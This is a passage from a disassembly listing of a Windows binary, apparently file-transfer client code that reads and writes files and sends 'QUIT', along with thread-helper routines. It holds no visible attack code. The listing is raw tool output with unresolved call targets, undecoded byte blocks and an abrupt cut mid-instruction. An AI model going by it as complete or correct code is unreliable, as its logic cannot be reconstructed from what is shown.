push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42F7EA jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F813: ; CODE XREF: sub_42F6F0+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" call near ptr 77C4186Ah nop add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F82D: ; CODE XREF: sub_42F6F0+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jle short loc_42F883 mov esi, dword_511AA0 loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42F871 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jg short loc_42F84A jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F871: ; CODE XREF: sub_42F6F0+166j push offset aLocalfileWrite ; "localfile write" nop call near ptr 77C36DF2h add esp, 4 mov [esp+14h+var_4], ebp loc_42F883: ; CODE XREF: sub_42F6F0+F4j ; sub_42F6F0+121j ... push edi nop call near ptr 77C2C21Bh push ebx call near ptr 77C3EEF6h nop mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42F8A6 push ebx nop call near ptr 77C40AB1h add esp, 4 loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BEF mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F6F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F940: ; CODE XREF: ___:004016A9j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F970: ; CODE XREF: ___:00401D43j sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42F9A7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9A7: ; CODE XREF: ___:0042F99Aj movsx eax, byte ptr [esp+124h] mov edi, dword_511A6C push eax lea ecx, [esp+1Ch] push offset dword_4474B8 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42F9E8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9E8: ; CODE XREF: ___:0042F9DBj push ebx lea eax, [esp+1Ch] push offset dword_4476BC push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FA44 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4476B4 push esi nop call near ptr 77C41B72h add esp, 10h cmp eax, 2 jnz short loc_42FA44 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42FA44: ; CODE XREF: ___:0042FA07j ; ___:0042FA28j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FAA0: ; CODE XREF: ___:004013C0j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42FAD0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FAD0: ; CODE XREF: ___:0042FAC5j push esi push edx lea eax, [esp+10h] push offset dword_4476C8 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42FB0B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FB0B: ; CODE XREF: ___:0042FAFBj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FB70 proc near ; CODE XREF: sub_4016B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn sub_42FB70 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBA0: ; CODE XREF: ___:004016D1j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBD0: ; CODE XREF: ___:0040149Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov esi, dword_511A6C push edx lea eax, [esp+10h] push offset dword_4476E0 push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FC69 push ebx lea edx, [esp+10h] push offset dword_4476D4 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42E490 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FC69: ; CODE XREF: ___:0042FBF1j ; ___:0042FC0Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FCB0: ; CODE XREF: ___:00401C7Bj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42FCD9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FCD9: ; CODE XREF: ___:0042FCD0j push edx lea eax, [esp+4] push offset dword_4476EC push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD30 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42FD69 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42E490 mov eax, [esi+8] add esp, 0Ch push eax call sub_4381FC ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_511AD0 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42FD69: ; CODE XREF: sub_42FD30+Aj pop esi retn sub_42FD30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FD80: ; CODE XREF: ___:004021C1j push edi mov edi, [esp+8] test edi, edi jnz short loc_42FD90 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42FD90: ; CODE XREF: ___:0042FD87j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42FDA6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: ___:0042FD9Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE00: ; CODE XREF: ___:0040151Ej push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FE19 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FE19: ; CODE XREF: ___:0042FE10j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE50: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42FE75 test eax, eax jz short loc_42FE75 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42FE75: ; CODE XREF: ___:0042FE64j ; ___:0042FE68j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEA0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FEB9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FEB9: ; CODE XREF: ___:0042FEB0j mov eax, [esp+0Ch] test eax, eax jz short loc_42FECD cmp eax, 1 jz short loc_42FECD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FECD: ; CODE XREF: ___:0042FEBFj ; ___:0042FEC4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEF0: ; CODE XREF: ___:00401519j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF10: ; CODE XREF: ___:00401834j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF30: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF49 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF49: ; CODE XREF: ___:0042FF40j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF70: ; CODE XREF: ___:00402207j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF89 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF89: ; CODE XREF: ___:0042FF80j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFB0: ; CODE XREF: ___:004019B0j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFE0: ; CODE XREF: ___:004019ABj mov eax, [esp+8] sub eax, 0 jz short loc_430002 dec eax jz short loc_42FFF2 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FFF2: ; CODE XREF: ___:0042FFEAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_430002: ; CODE XREF: ___:0042FFE7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430020: ; CODE XREF: ___:00401C1Cj push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_4300BB mov edi, [esp+18h] test edi, edi jz loc_4300BB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_4300B2 mov eax, [esp+14h] ; DATA XREF: ___:off_444E88o test eax, eax jz short loc_430060 mov eax, [eax] test eax, eax jz short loc_430060 mov eax, [eax] jmp short loc_430062 ; --------------------------------------------------------------------------- loc_430060: ; CODE XREF: ___:00430054j ; ___:0043005Aj xor eax, eax loc_430062: ; CODE XREF: ___:0043005Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_4300A8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_43009F mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43009F: ; CODE XREF: ___:00430097j push edi call sub_401690 add esp, 4 loc_4300A8: ; CODE XREF: ___:00430082j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_4300B2: ; CODE XREF: ___:0043004Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_4300BB: ; CODE XREF: ___:00430029j ; ___:00430035j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430100: ; CODE XREF: ___:0040220Cj push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_430168 mov esi, [ebp+0] test esi, esi jz short loc_430168 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43015E lea eax, [esi+14h] push eax call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43014F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43014F: ; CODE XREF: ___:0043013Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C8A add esp, 0Ch loc_43015E: ; CODE XREF: ___:0043012Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_430168: ; CODE XREF: ___:0043010Aj ; ___:00430111j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301A0: ; CODE XREF: ___:004017A3j mov eax, [esp+4] push esi test eax, eax jz loc_430254 mov esi, [eax] test esi, esi jz loc_430254 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 2770A69h test eax, eax jnz short loc_4301E7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_430234 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_402068 add esp, 8 mov esi, eax jmp short loc_430230 ; --------------------------------------------------------------------------- loc_4301E7: ; CODE XREF: ___:004301C8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_43020B lea ecx, [esp+14h] push ecx push ebx call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_43020D loc_43020B: ; CODE XREF: ___:004301F7j xor ebx, ebx loc_43020D: ; CODE XREF: ___:00430209j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_430230 mov eax, [esp+10h] push 0 push eax call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 loc_430230: ; CODE XREF: ___:004301E5j ; ___:0043021Fj test esi, esi jnz short loc_43024E loc_430234: ; CODE XREF: ___:004301D2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_5103C8 ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_43024E: ; CODE XREF: ___:00430232j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_430254: ; CODE XREF: ___:004301A7j ; ___:004301B1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430290: ; CODE XREF: ___:00401F6Ej push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_4302B3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4302B3: ; CODE XREF: ___:004302A2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4302E0: ; CODE XREF: ___:00401A87j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_430301 mov eax, [ecx] test eax, eax jz short loc_430301 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430301: ; CODE XREF: ___:004302E9j ; ___:004302EFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430320: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_43033D mov eax, [eax] test eax, eax jz short loc_43033D mov ecx, [esp+8] test ecx, ecx jz short loc_43033D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43033D: ; CODE XREF: ___:00430326j ; ___:0043032Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430360: ; CODE XREF: ___:00401636j mov eax, [esp+4] test eax, eax jz short loc_43038A mov ecx, [eax] test ecx, ecx jz short loc_43038A mov eax, [esp+8] cmp eax, 1 jz short loc_43037E test eax, eax jnz short loc_43038A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43037E: ; CODE XREF: ___:00430375j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43038A: ; CODE XREF: ___:00430366j ; ___:0043036Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4303A0 proc near ; CODE XREF: sub_401415j push esi push edi call sub_4012E4 sub_4303A0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 340304E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 0E8000000h, 2340445h, 0B4E85390h dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_430460: ; CODE XREF: ___:00402261j push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 0E8525338h, 2340245h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 340384E8h, 0F4E85702h dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401D02j push esi push edi call sub_4012E4 sub_430520 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 0A6E89050h, 85023401h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_4305A0: ; CODE XREF: ___:00401D39j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401762 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_4306D9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4305DB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4305DB: ; CODE XREF: ___:004305CCj push ebx push ebp push edi push eax push esi call sub_401A64 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402248 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_4306B2 mov eax, [esi+30h] test eax, eax jnz loc_4306B2 cmp [esi+0Ch], ebp jge loc_4306C5 test edi, edi jz short loc_430644 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_430644: ; CODE XREF: ___:00430619j mov edi, [esi+4] push edi call near ptr 276099Fh nop push 0 push edi call near ptr 27706F1h nop cmp eax, 102h jnz short loc_4306D2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2760C44h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_430750 push ecx push edi call near ptr 2770000h nop push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 27702ACh mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: ___:004305FDj ; ___:00430608j cmp [esi+0Ch], ebp jge short loc_4306C5 mov edx, [esi+38h] push edx nop call near ptr 27704D4h test eax, eax jnz short loc_4306C9 loc_4306C5: ; CODE XREF: ___:00430611j ; ___:004306B5j mov [esp+10h], ebp loc_4306C9: ; CODE XREF: ___:004306C3j push ebx call sub_4010C3 add esp, 4 loc_4306D2: ; CODE XREF: ___:0043065Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_4306D9: ; CODE XREF: ___:004305BFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_430750: ; DATA XREF: ___:00430680o push 2 call sub_401DED ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430770 proc near ; CODE XREF: sub_401122j mov eax, dword_5103B8 push esi push eax call sub_401190 sub_430770 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_4307AE mov eax, [esp+8] test eax, eax jz short loc_43079C mov eax, [esi] test eax, eax jz short loc_43079C mov ecx, [esi+4] push ecx call eax add esp, 4 loc_43079C: ; CODE XREF: ___:0043078Bj ; ___:00430791j mov edx, [esi+8] mov eax, dword_5103B8 push edx push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 8 loc_4307AE: ; CODE XREF: ___:00430783j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4307E0 proc near ; CODE XREF: sub_401663j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_5103B8 push edx call sub_401190 sub_4307E0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_5103B8 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430830 proc near ; CODE XREF: sub_401B63j arg_0 = dword ptr 4 push esi push offset dword_510900 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_430864 push esi push ecx call sub_40154B add esp, 8 mov esi, eax push offset dword_510900 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430864: ; CODE XREF: sub_430830+17j test eax, eax jnz short loc_43086D mov esi, 16h loc_43086D: ; CODE XREF: sub_430830+36j push offset dword_510900 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: ___:0040211Cj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4308C3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4308C3: ; CODE XREF: ___:004308B2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308E0: ; CODE XREF: ___:004021F3j push esi mov esi, [esp+8] test esi, esi jz short loc_430903 mov eax, [esi] test eax, eax jz short loc_430903 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430903: ; CODE XREF: ___:004308E7j ; ___:004308EDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430920: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_43093D mov eax, [eax] test eax, eax jz short loc_43093D mov ecx, [esp+8] test ecx, ecx jz short loc_43093D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43093D: ; CODE XREF: ___:00430926j ; ___:0043092Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430960: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_43098A mov ecx, [eax] test ecx, ecx jz short loc_43098A mov eax, [esp+8] cmp eax, 1 jz short loc_43097E test eax, eax jnz short loc_43098A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43097E: ; CODE XREF: ___:00430975j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43098A: ; CODE XREF: ___:00430966j ; ___:0043096Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4309A0 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_4309B6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4309B6: ; CODE XREF: sub_4309A0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_4309DD mov eax, [eax] cmp eax, edi jz short loc_4309DD cmp dword ptr [eax], 1 jnz short loc_4309DD mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4309DD: ; CODE XREF: sub_4309A0+1Ej ; sub_4309A0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_430A02 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430A02: ; CODE XREF: sub_4309A0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A27 nop call near ptr 77C1F2BCh mov 